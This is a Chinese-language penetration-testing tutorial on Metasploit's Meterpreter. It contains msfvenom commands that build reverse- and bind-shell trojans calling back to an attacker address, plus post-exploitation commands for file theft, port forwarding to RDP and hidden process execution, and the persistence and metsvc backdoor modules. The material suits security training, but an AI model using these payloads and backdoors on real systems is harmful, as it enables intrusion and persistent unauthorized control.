1. 程式人生 > >滲透攻防工具篇-後滲透階段的Meterpreter

滲透攻防工具篇-後滲透階段的Meterpreter

文章作者  zusheng
文章來源  i春秋原創獎勵計劃
時間        2016年8月23日 14:38:43

前言

熟悉Metasploit的應該對Meterpreter不陌生,作為後滲透階段的利器,其強大之處可想而知,那麼本篇文章就帶大家來學習一下Meterpreter,目的在於讓大家瞭解它的常用命令和使用方法。

目錄

第一節 初識Meterpreter

  • 1.1、什麼是Meterpreter
  • 1.2、Meterpreter的優點


第二節 Meterpreter中常用的Shell

  • 2.1、reverse_tcp
  • 2.2、reverse_http
  • 2.3、reverse_https
  • 2.4、bind_tcp


第三節 Meterpreter的常用命令

  • 3.1、基本命令
  • 3.2、檔案系統命令
  • 3.3、網路命令
  • 3.4、系統命令


第四節 後滲透攻擊模組

  • 4.1、什麼是後滲透攻擊模組
  • 4.2、後滲透攻擊模組的實現原理
  • 4.3、enum_drives


第五節 植入後門

  • 5.1、persistence後滲透攻擊模組
  • 5.2、metsvc後滲透攻擊模組


 

  • 第一節 初識Meterpreter


1.1、什麼是Meterpreter

Meterpreter是Metasploit框架中的一個擴充套件模組,作為溢位成功以後的攻擊載荷使用,攻擊載荷在溢位攻擊成功以後給我們返回一個控制通道。使用它作為攻擊載荷能夠獲得目標系統的一個Meterpretershell的連結。Meterpretershell作為滲透模組有很多有用的功能,比如新增一個使用者、隱藏一些東西、開啟shell、得到使用者密碼、上傳下載遠端主機的檔案、執行cmd.exe、捕捉螢幕、得到遠端控制權、捕獲按鍵資訊、清除應用程式、顯示遠端主機的系統資訊、顯示遠端機器的網路介面和IP地址等資訊。另外Meterpreter能夠躲避

入侵檢測系統。在遠端主機上隱藏自己,它不改變系統硬碟中的檔案,因此HIDS[基於主機的入侵檢測系統]很難對它做出響應。此外它在執行的時候系統時間是變化的,所以跟蹤它或者終止它對於一個有經驗的人也會變得非常困難。最後,Meterpreter還可以簡化任務建立多個會話。可以來利用這些會話進行滲透。


1.2、Meterpreter技術優勢

Metasploit提供了各個主流平臺的Meterpreter版本,包括Windows、Linux,同時支援x86、x64平臺,另外,Meterpreter還提供了基於PHP和Java語言的實現。Meterpreter的工作模式是純記憶體的,好處是啟動隱藏,很難被防毒軟體監測到。不需要訪問目標主機磁碟,所以也沒什麼入侵的痕跡。除上述外,Meterpreter還支援Ruby指令碼形式的擴充套件。所以Ruby語言還很有必要。


 

  • 第二節 Meterpreter中常用的Shell


2.1、reverse_tcp

這是一個基於TCP的反彈shell,下面演示Linux下反彈shell,Windows道理一樣不做演示。
 

  • Linux

使用下列命令生成一個Linux下反彈shell木馬:
 

[Bash shell] 純文字檢視 複製程式碼

?

1

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444  -f elf -o isshell



 

看上圖,我們可以看見目錄下已經成功生成木馬檔案isshell。然後我們給檔案加上執行許可權。

 

然後我們開啟Metasploit,使用模組handler,設定payload,注意:這裡設定的payload要和我們生成木馬所使用的payload一樣。


 

設定下地址和埠,我們就開始監聽了。
 

這邊執行一下我們的反彈shell木馬,可以發現成功反彈回shell了。
 

  • Windows:

[Bash shell] 純文字檢視 複製程式碼

?

1

msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[埠] -f exe -o 要生成的檔名



2.2、reverse_http
基於http方式的反向連線,在網速慢的情況下不穩定。

[Bash shell] 純文字檢視 複製程式碼

?

1

payload:/windows/meterpreter/reverse_http



2.3、reverse_https
基於https方式的反向連線,在網速慢的情況下不穩定。

[Bash shell] 純文字檢視 複製程式碼

?

1

payload:/windows/meterpreter/reverse_https



2.4、bind_tcp
這是一個基於TCP的正向連線shell,因為在內網跨網段時無法連線到attack的機器,所以在內網中經常會使用,不需要設定LHOST。

使用下列命令生成木馬:

[Bash shell] 純文字檢視 複製程式碼

?

1

msfvenom -p linux/x86/meterpreter/bind_tcp lport=4444  -f elf -o bindshell



同樣道理加許可權執行,不演示了。


 

這裡注意,我們設定的IP地址和埠就是目標機的。因為這是我們主動來連線它。

 

  • 第三節 Meterpreter的常用命令


3.1、基本命令

[Shell] 純文字檢視 複製程式碼

?

1

2

3

4

5

background  # 讓meterpreter處於後臺模式 

sessions -i index   # 與會話進行互動,index表示第一個session 

quit  # 退出會話 

shell # 獲得控制檯許可權 

irb # 開啟ruby終端



3.2、檔案系統命令
 

[Shell] 純文字檢視 複製程式碼

?

1

2

3

4

5

6

cat # 檢視檔案內容 

getwd # 檢視當前工作目錄 

upload  # 上傳檔案到目標機上 

download # 下載檔案到本機上 

edit # 編輯檔案 

search  # 搜尋檔案



3.3、網路命令
 

[Shell] 純文字檢視 複製程式碼

?

1

2

3

4

ipconfig / ifconfig # 檢視網路介面資訊 

portfwd  add -l 4444 -p 3389 -r 192.168.1.102 # 埠轉發,本機監聽4444,把目標機3389轉到本機4444

rdesktop -u Administrator -p ichunqiu 127.0.0.1:4444 #然後使用rdesktop來連線,-u 使用者名稱 -p 密碼

route # 獲取路由表資訊



3.4、系統命令
 

[Shell] 純文字檢視 複製程式碼

?

1

2

3

4

5

6

7

8

ps # 檢視當前活躍程序

migrate pid # 將Meterpreter會話移植到程序數位pid的程序中

execute -H -i -f cmd.exe # 建立新程序cmd.exe,-H不可見,-i互動

getpid # 獲取當前程序的pid

kill pid # 殺死程序

getuid # 檢視許可權

sysinfo # 檢視目標機系統資訊,如機器名,作業系統等

shutdown # 關機

  • 第四節 後滲透攻擊模組


4.1、什麼是後滲透攻擊模組

後滲透攻擊模組(Post)是Metasploit v4版本中正式引入的一種新型別的元件模組,主要支援在滲透攻擊取得目標系統遠端控制權之後,在受控系統中進行各式各樣的後滲透攻擊動作,比如獲取敏感資訊、進一步拓展、實施跳板攻擊等。

4.2、後滲透攻擊模組的實現原理
後滲透攻擊模組是通過Ruby語言編寫的,目標機上可能沒有Ruby直譯器吧,那麼後滲透攻擊模組是如何通過Meterpreter會話在目標機上執行的呢。看下來步驟:

  • 後滲透攻擊指令碼由Meterpreter客戶端解釋
  • 遠端呼叫Meterpreter服務端提供的API(Meterpreter服務端即執行在目標機上的攻擊載荷)


4.3、enum_drives

這個後滲透攻擊模組是獲取目標主機磁碟分割槽資訊,我們就以這個例講解後滲透攻擊模組使用方法。

 

我們首先將meterpreter會話放入後臺,然後搜尋我們的模組。

 

然後使用use命令來使用模組,然後設定一下會話id,接著執行,可以發現成功獲取到目標主機磁碟分割槽的資訊。

 

  • 第五節 植入後門


Meterpreter僅僅是在記憶體中駐留的Shellcode,只要目標機器重啟就會喪失控制權,下面就介紹如何植入後門,維持控制。

5.1、persistence後滲透攻擊模組

使用方法:
 

-X指定啟動的方式為開機自啟動,-i反向連線的時間間隔

然後就是監聽,等待後門連線
 

5.2、metsvc後滲透攻擊模組

metsvc後滲透攻擊模組其實就是將Meterpreter以系統服務的形式安裝到目標主機,它會上傳三個檔案:

  • metsvc.dll
  • metsvc-service.exe
  • metsvc.exe


使用方法:

 

到目標機上,我們可以發現Meterpreter服務,正在開啟監聽並等待連線。